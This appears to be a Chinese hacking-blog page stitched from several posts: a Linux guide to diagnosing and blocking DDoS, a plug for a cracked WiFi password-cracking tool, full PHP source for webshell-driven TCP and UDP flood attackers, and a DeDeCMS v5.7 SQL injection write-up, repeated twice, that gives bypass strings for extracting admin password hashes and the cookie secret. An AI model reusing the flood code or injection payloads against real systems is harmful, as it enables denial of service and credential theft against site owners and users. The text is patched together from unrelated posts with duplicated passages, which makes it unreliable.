号码丢了.唉~
被DDOS了怎么办,浅谈Liunx防御DDOS攻击
0×001 起因
这几天遇到了疑似DDos恶意攻击,后来一查,原来是虚惊一场,可能是有人使用作弊手段刷广告,导致流量暴增,吓到机房的人尿了,马上黑洞了被攻击的服务器,导致业务中断,这么一搞,吓到我也差点尿了,机器进不去,我也没法判断到底是什么类型的攻击。后来换了服务器经过抓包,监控等一系列排查,发现不是恶意攻击。把过程记录下来,在nigesb.com共享给大家.
0×002 诊断
遇到怀疑攻击情况,首先要看看服务器上面的情况,首先top一下,看看服务器负载,如果负载不高,那么基本可以判断不是cc类型的攻击,再输入命令
1 |
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' |
查看下网络连接的情况,会得到下面这些结果:
TCP/IP协议使用三次握手来建立连接,过程如下:
1、第一次握手,客户端发送数据包syn到服务器,并进入SYN_SEND状态,等待回复
2、第二次握手,服务器发送数据报syn/ack,给客户机,并进入SYN_RECV状态,等待回复
3、第三次握手,客户端发送数据包ACK给客户机,发送完成后,客户端和服务器进入ESTABLISHED状态,链接建立完成
如果ESTABLISHED非常地高,那么可能是有人在恶意攻击,进一步判断,可以把下面命令保存为脚本执行一下:
1 |
for i in `netstat -an | grep -i ':80 '|grep 'EST' | awk '{print $5}' | cut -d : -f 1 | sort | uniq -c | awk '{if($1 > 50) {print $2}}'` |
2 |
do |
3 |
echo $i |
4 |
echo $i >> /tmp/evilip |
5 |
done |
如果输出了多个结果,那么可能表示有人在企图进行DDOS攻击,想用TCP连接来拖死你的服务器,输出的ip就是发出请求的服务器地址,并且保存在了/tmp/evilip里面。如果没有结果,可以调整一下阈值,把50改成40试一试,对策我们后面再说,这里只讲判断。
如果SYN_RECV非常高,那么表示受到了SYN洪水攻击。
如果上面的值看不出什么异常的话,我们来抓包分析下,可能并非基于TCP的攻击。抓包命令:
1 |
tcpdump -w tmp.pcap port not 22 |
抓包感觉差不多了就ctrl+c结束,结果在保存在当前目录下的tmp.pcap文件中,我们可以使用命令
1 |
tcpdump -r tmp.pcap -nnA |
来查看,也可以拖回本地用wireshark打开分析等,个人喜好了。如果出现大量的ICMP包或者大量的UDP包,那么可能就是针对性的ICMP洪水以及UDP洪水了。
0×003 TCP连接攻击
TCP连接攻击算是比较古老的了,防御起来也相对比较简单,主要是利用大量的TCP连接来消耗系统的网络资源,通常同一个IP会建立数量比较大的TCP连接,并且一直保持。应对方法也比较简单,可以将以下命令保存为脚本,定时ban掉那些傀儡机ip
1 |
for i in `netstat -an | grep -i ':80 '|grep 'EST' | awk '{print $5}' | cut -d : -f 1 | sort | uniq -c | awk '{if($1 > 50) {print $2}}'` |
2 |
do |
3 |
echo $i |
4 |
echo $i >> /tmp/banip |
5 |
/sbin/iptables -A INPUT -p tcp -j DROP -s $i |
6 |
done |
banip文件里面记录了所有被ban的ip地址信息,方面进行反渗透以及证据保存等等。为了更好地加固系统,我们可以使用iptables来限制一下,单个ip的最大连接数。
1 |
iptables -t filter -A INPUT -p tcp --dport 80 --tcp-flags FIN,SYN,RST,ACK SYN -m connlimit --connlimit-above 10 --connlimit-mask 32 -j REJECT |
限制每个ip的连接数为10。如果是大些业务系统的话,需要注意,上面的做法可能导致一些共用IP的用户访问中断。需要谨慎。
0×004 SYN洪水攻击
SYN洪水是利用TCP/IP协议的设计缺陷来进行攻击的,采用一些策略以及配置可以适当的降低攻击的影响,但并不能完全消除。
1 |
sysctl -w net.ipv4.tcp_syncookies=1 |
2 |
sysctl -w net.ipv4.tcp_syn_retries = 0 |
3 |
sysctl -w net.ipv4.tcp_max_syn_backlog=2048 |
tcp_syncookies设置为1表示启用syncookie,可以大大降低SYN攻击的影响,但是会带来新的安全缺陷,顺便科普一下snycookie吧。
1 |
syncookie基本原理是:仔细处理连接的初始序列号而不是随机选择一个序列号。一旦server接收到SYN报文,将关键信息仔细编码并作为 state存储在SYN队列中。这种经过编码的信息是用一个秘钥进行加密hash,形成SYN-ACK报文中的序列号并发送给client。在合法握手的 第三个报文中,即从client返回给server的ACK报文中,在acknowledgment number字段中包含该序列号(加1). 这样,open双向连接所必须的所有信息又返回给server,而server在三次握手完成之前不必维护state。syn-cookies解决了 SYN的基本问题,但是随之带来一个新的问题,就是服务器需要对收到的ACK报文进行计算,提高了三次握手需要的系统资源。一种新的攻击方式随之而来,即 ACK攻击,发送大量的ACK数据报,导致服务器忙于计算最终导致服务器停止相应。Linux上的实际应用中,只有等待数被占满的时候才会启用 syncookies的方式 |
tcp_syn_retries 表示syn重试次数,重传次数设置为0,只要收不到客户端的响应,立即丢弃该连接,默认设置为5次。
tcp_max_syn_backlog表示syn等待队列,改小这个值,使得SYN等待队列变短,减少对系统以及网络资源的占用。
上面的那个iptable的连接数限制在这里仍然有用的,也可以加上
0×005 ICMP或UDP洪水
提到ICMP洪水,我就想到了之前好像在网络大战的时候,有很多人在QQ群里面传信息呀,大意就是大家一起来ping白宫,而且开多个窗口等等,很囧。这两种协议,如果在系统中没用到的话,最方便的是完全可以联系机房让他们直接在设备上进行封禁,或者尝试使用iptables进行完全封禁。具体的命令要根据不同的类型来进行,也比较简单,因此就不多讲了。
如果这些方法限制都不太有用的话,说明对方的资源可能非常地多,良心大大地坏,考虑采用多机负载或者硬防的方式应对了。
跑包神器EWSA v5.0.252.0破解版[dbbank]
原帖:http://www.52pojie.cn/thread-142672-1-1.html
Elcomsoft Wireless Security Auditor,由俄罗斯安全公司Elcomsoft发布,提供无线网络一站式解决方案,包括定位无线网络、干扰数据包和破解无线网络密码等功能。
这款软件的强大之处在于,它能够在任何一台搭载AMD或英伟达(NVIDIA)显卡的笔记本上,利用显卡强大的并行处理能力,一键破解无线网络WAP或WPA2 PSK密码。
新的无线密码恢复工具具备即将获得专利的GPU加速技术,以加快密码恢复。 Elcomsoft无线安全审计器支持一种带有新型灵活变种的字典攻击,并可以支持任何Wi-Fi嗅探器和支持的标准tcpdump日志。
Hmily大神的新作品,为了照顾没有52破解账号的兄弟,下载地址:
PHPDDOS攻击原理以及核心代码
前几天某些服务器被打得像狗,各种攻击呀,分析了一下,估计是用PHPDDOS干的,现在抓鸡艰难,哪有那么多鸟人可以抓到那么多鸡,成本也高。PHPDDOS就不一样了,拿到了shell就可以直接用来攻击了,真是杀人越货,居家旅行,必备神器。
PHPDDOS的原理是使用一个主控端批量向被控端(也就是特殊的webshell)发送攻击命令,方式一般是get或者post,达到统一指挥的目的。而被控端一般使用了php中的sock来进行攻击,在php越来越流行的今天,这种攻击必然会越来越流行。
去翻了一下,找到了些代码,代码来自phpddos.com,与本站无关。
TCP模块
1 |
<?php |
2 |
echo "状态 : 正常运行中.....<br>"; |
3 |
echo "================================================<br>"; |
4 |
echo " <font color=blue>www.phpddos.com<br>"; |
5 |
echo " CC Flood 模块<br>"; |
6 |
echo " 作者:ybhacker<br>"; |
7 |
echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; |
8 |
echo "================================================<br><br>"; |
9 |
error_reporting(E_ALL); //提示错误信息 |
10 |
set_time_limit(0); //设定一个程式所允许执行的秒数 0 是无限循环 |
11 |
ob_implicit_flush(); // 刷新输出缓冲 |
12 |
$address = $_POST['site']; // 网站地址 |
13 |
$port = $_POST['port']; // 端口 |
14 |
$dongu = $_POST['dongu']; //循环次数 |
15 |
$sayi = 1; |
16 |
|
17 |
while ( $sayi <= $dongu ) //变量asyi小于 循环次数变量 dongu 才会继续循环 |
18 |
{ |
19 |
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { |
20 |
echo "HaHa\n"; |
21 |
} |
22 |
|
23 |
if (socket_bind($sock, $address, $port) === false) { // 连接端口 |
24 |
echo "HaHa\n"; |
25 |
} |
26 |
|
27 |
if (socket_listen($sock, 5) === false) { |
28 |
echo "HaHa\n"; |
29 |
} |
30 |
$msg = "HTTP/1.1 GET /\r\nHost:"+$_GET['site']+"\r\nConnection: Keep-Alive\r\n"; |
31 |
socket_write($msg); |
32 |
socket_close($sock); |
33 |
$sayi++; // 循环一次 变量sayi 加1 |
34 |
echo "Goodbye...".$sayi; // 输出循环次数 |
35 |
} |
36 |
?> |
<?php |
2 |
$packets = 0; |
3 |
$ip = $_GET['ip']; |
4 |
$port = $_GET['port']; |
5 |
set_time_limit(0); |
6 |
ignore_user_abort(FALSE); |
7 |
$exec_time = $_GET['time']; |
8 |
$time = time(); |
9 |
print "状态 : 正常运行中.....<br>"; |
10 |
$max_time = $time+$exec_time; |
11 |
for($i=0;$i<65535;$i++){ |
12 |
$out .= "phpddos"; |
13 |
} |
14 |
while(1){ |
15 |
$packets++; |
16 |
if(time() > $max_time){ |
17 |
break; |
18 |
} |
19 |
|
20 |
$fp = fsockopen("udp://$ip", $port, $errno, $errstr, 5); |
21 |
if($fp){ |
22 |
fwrite($fp, $out); |
23 |
fclose($fp); |
24 |
} |
25 |
} |
26 |
echo "================================================<br>"; |
27 |
echo " <font color=blue>www.phpddos.com<br>"; |
28 |
echo " 作者:ybhacker<br>"; |
29 |
echo " 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!</font><br>"; |
30 |
echo "================================================<br><br>"; |
31 |
echo " 攻击包总数:<font color=Red><span class=\"text\">".$packets." 个数据包</span><br><br></font>"; |
32 |
echo " 攻击总流量:<font color=Red><span class=\"text\">".round(($packets*65*8)/(1024*1024),2)." Mbps</span><br><br></font>"; |
33 |
echo " 攻击总字节:<font color=Red><span class=\"text\">".time('h:i:s')." 字节</span><br><br></font>"; |
34 |
echo "Packet complete at ".time('h:i:s')." with $packets (" .round(($packets*65*8)/(1024*1024),2). " Mbps) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; |
35 |
?> |
DeDeCMS v5.7最新ajax_membergroup.php注入漏洞
DeDeCMS(织梦CMS)是一款国内比较专业的PHP网站内容管理系统,从04年发行至今,已近七个年头,也经历了无数次的升级和改版,最新版本为8月12更新的V5.7正式版,功能也不断增强。笔者原本以为这应该是一款安全性比较高的CMS系统,然而分析后令人感到迷茫,迷茫国内比较专业的系统经历七年发展,其安全还是令人堪忧。或许网络原本就没有绝对的安全。
注入漏洞
漏洞一:/member/ajax_membergroup.php页面的membergroup变量没有过滤导致数字型注入,关键代码如下:
编辑分组
elseif($action == 'post')
{
if(empty($membergroup)){
echo "您还没有设置分组!";
exit;
}
$sql = "UPDATE ` SET `groupid`='{$membergroup}' WHERE `fid`='{$mid}' AND `mid`='{$cfg_ml->M_ID}';";
$dsql->ExecuteNoneQuery($sql);
$row = $dsql->GetOne("SELECT groupname FROM WHERE mid = {$cfg_ml->M_ID} AND id={$membergroup}"); //数字型注入
echo " ".$row['groupname']." <a href='#' onclick='EditMemberGroup($mid);return false;'>修改</a>";
很明显当“action=post”时,$membergroup导致数字型注入漏洞,但是DeDeCMS在访问MySql数据库之前,使用CheckSql()自定义函数对SQL语句进行安全检查,无法直接注入。
绕过防注入。CheckSql()函数定义在/include/dedesql.class.php或/include/dedesqli.class.php数据库类文件中,代码如下:
if (!function_exists('CheckSql'))
{ function CheckSql($db_string,$querytype='select')
{global $cfg_cookie_encode;
$clean = '';$error='';$old_pos = 0;$pos = -1;
...(略)
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{$notallow1= "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//[^0-9a-z@\._-]{1,}即至少1个非数字、小写字母、@等字符,
if(preg_match("/".$notallow1."/", $db_string))
{//①preg_match未使用参数i,使用大写绕过,如:Union
puts(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
while (TRUE)
{ $pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{break; }
//②假如字符串$db_string中不存在“\'”退出while循环,存在则继续向下执行
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{ ...(略) }
$clean .= '$s$';
//③将字符串$db_string中"\'"和"\'"之间的字符转为"$s$",即信任之间的字符串,绕过防注入的关键
$old_pos = $pos + 1;
}
…..(继续接如下代码)
}
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
//④"\s"匹配任何空白字符,包括空格、制表符、换页符等,$clean转为小写
//⑤再次检查union关键字
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
//⑥依次检查--、#、benchmark、load_file、outfile、select等关键字
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{...(略) }
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
...(略)
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{...(略)}
if (!empty($fail))
{//存在限制的Sql关键字,写日志文件$log_file,输出“Safe Alert: Request Error step 2!”
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{//⑦不存在限制的Sql关键字,返回$db_string字符串
return $db_string;
}
语句①使用正则表达式过滤Sql关键字,但是因为没有参数“i”,导致可以使用大写绕过,比如“Union”等,While循环实现将字符串(Sql语句)中转义单引号之间的字符转为“$s$”,不予检查,此举意图是信任转义单引号之间的字符,即允许提交包含Sql关键字的文字,比如发表新文章的内容,但是也因此产生了安全漏洞。
漏洞利用。构造membergroup变量值为` Union select pwd from ` where 1 or `”,注意:1)“Union”不能全为小写“union”,2)前后使用`”。当变量提交后,Sql语句成为“SELECT groupname FROM WHERE mid = 8 AND ` Union select pwd from ` where 1 or `”,mid为当前用户id,首先大写Union绕过防注入语句①,然后防注入会将“\'”之间的字符串认为可信任的,对于其中的字符串不再做防注入过滤,尽管其中含有“union、select”等关键字!在CheckSql()函数中添加输出语句如下,可以直观地看到转换前后的Sql语句以及注入结果如图1。…(略)
echo "原字符串:".$db_string."<br>";
//完整的SQL检查
while (TRUE)
{
…(略)
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
echo "转换以后:".$clean."<br>";
…(略
DeDeCMS v5.7最新ajax_membergroup.php注入漏洞
DeDeCMS(织梦CMS)是一款国内比较专业的PHP网站内容管理系统,从04年发行至今,已近七个年头,也经历了无数次的升级和改版,最新版本为8月12更新的V5.7正式版,功能也不断增强。笔者原本以为这应该是一款安全性比较高的CMS系统,然而分析后令人感到迷茫,迷茫国内比较专业的系统经历七年发展,其安全还是令人堪忧。或许网络原本就没有绝对的安全。
注入漏洞
漏洞一:/member/ajax_membergroup.php页面的membergroup变量没有过滤导致数字型注入,关键代码如下:
编辑分组
elseif($action == 'post')
{
if(empty($membergroup)){
echo "您还没有设置分组!";
exit;
}
$sql = "UPDATE ` SET `groupid`='{$membergroup}' WHERE `fid`='{$mid}' AND `mid`='{$cfg_ml->M_ID}';";
$dsql->ExecuteNoneQuery($sql);
$row = $dsql->GetOne("SELECT groupname FROM WHERE mid = {$cfg_ml->M_ID} AND id={$membergroup}"); //数字型注入
echo " ".$row['groupname']." <a href='#' onclick='EditMemberGroup($mid);return false;'>修改</a>";
很明显当“action=post”时,$membergroup导致数字型注入漏洞,但是DeDeCMS在访问MySql数据库之前,使用CheckSql()自定义函数对SQL语句进行安全检查,无法直接注入。
绕过防注入。CheckSql()函数定义在/include/dedesql.class.php或/include/dedesqli.class.php数据库类文件中,代码如下:
if (!function_exists('CheckSql'))
{ function CheckSql($db_string,$querytype='select')
{global $cfg_cookie_encode;
$clean = '';$error='';$old_pos = 0;$pos = -1;
...(略)
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{$notallow1= "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//[^0-9a-z@\._-]{1,}即至少1个非数字、小写字母、@等字符,
if(preg_match("/".$notallow1."/", $db_string))
{//①preg_match未使用参数i,使用大写绕过,如:Union
puts(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
while (TRUE)
{ $pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{break; }
//②假如字符串$db_string中不存在“\'”退出while循环,存在则继续向下执行
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{ ...(略) }
$clean .= '$s$';
//③将字符串$db_string中"\'"和"\'"之间的字符转为"$s$",即信任之间的字符串,绕过防注入的关键
$old_pos = $pos + 1;
}
…..(继续接如下代码)
}
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
//④"\s"匹配任何空白字符,包括空格、制表符、换页符等,$clean转为小写
//⑤再次检查union关键字
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
//⑥依次检查--、#、benchmark、load_file、outfile、select等关键字
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{...(略) }
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
...(略)
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{...(略)}
if (!empty($fail))
{//存在限制的Sql关键字,写日志文件$log_file,输出“Safe Alert: Request Error step 2!”
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{//⑦不存在限制的Sql关键字,返回$db_string字符串
return $db_string;
}
语句①使用正则表达式过滤Sql关键字,但是因为没有参数“i”,导致可以使用大写绕过,比如“Union”等,While循环实现将字符串(Sql语句)中转义单引号之间的字符转为“$s$”,不予检查,此举意图是信任转义单引号之间的字符,即允许提交包含Sql关键字的文字,比如发表新文章的内容,但是也因此产生了安全漏洞。
漏洞利用。构造membergroup变量值为` Union select pwd from ` where 1 or `”,注意:1)“Union”不能全为小写“union”,2)前后使用`”。当变量提交后,Sql语句成为“SELECT groupname FROM WHERE mid = 8 AND ` Union select pwd from ` where 1 or `”,mid为当前用户id,首先大写Union绕过防注入语句①,然后防注入会将“\'”之间的字符串认为可信任的,对于其中的字符串不再做防注入过滤,尽管其中含有“union、select”等关键字!在CheckSql()函数中添加输出语句如下,可以直观地看到转换前后的Sql语句以及注入结果如图1。…(略)
echo "原字符串:".$db_string."<br>";
//完整的SQL检查
while (TRUE)
{
…(略)
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
echo "转换以后:".$clean."<br>";
…(略
这里注出的是substr(md5($this->userPwd), 5, 20)值,我们可以去掉前三位和最后一位,成为16位MD5码,如“7a57a5a743894a0e”,再进行爆破。常用的注入链接如下:
注入管理员密码:
` Union select pwd from ` where 1 or `
//如果存在多个管理员时,可以将where条件改为“id=1 or `”或“userid=0x61646D696E or `”
注入$cfg_cookie_encode
` Union select value from ` where aid=3 or `
//在获得$cfg_cookie_encode后,我们可以直接利用漏洞二。另外在“/data/'.md5($cfg_cookie_encode).'_safe.txt'”文件中记录着注入痕迹。
漏洞修补
目前官方没有升级包,简单的防止注入修补方法可以将ajax_membergroup.php页面删除,或者给CheckSql()自定义函数中的preg_match函数增加“i”参数,防止上传的方法可以过滤“/include/dialog/select_soft_post.php”文件中的变量$newname,限制其以字符“.”、“?”以及空格等字符结束等。
附上黑客防线第二期的下载地址:
http://115.com/file/dpd3j0r3#黑客防线2012年2月刊.pdf
注:详细可以访问http://www.hackqing.com/dede.txt 或下载http://dl.dbank.com/c0sqoir8dd ptf格式完整观看。-qing






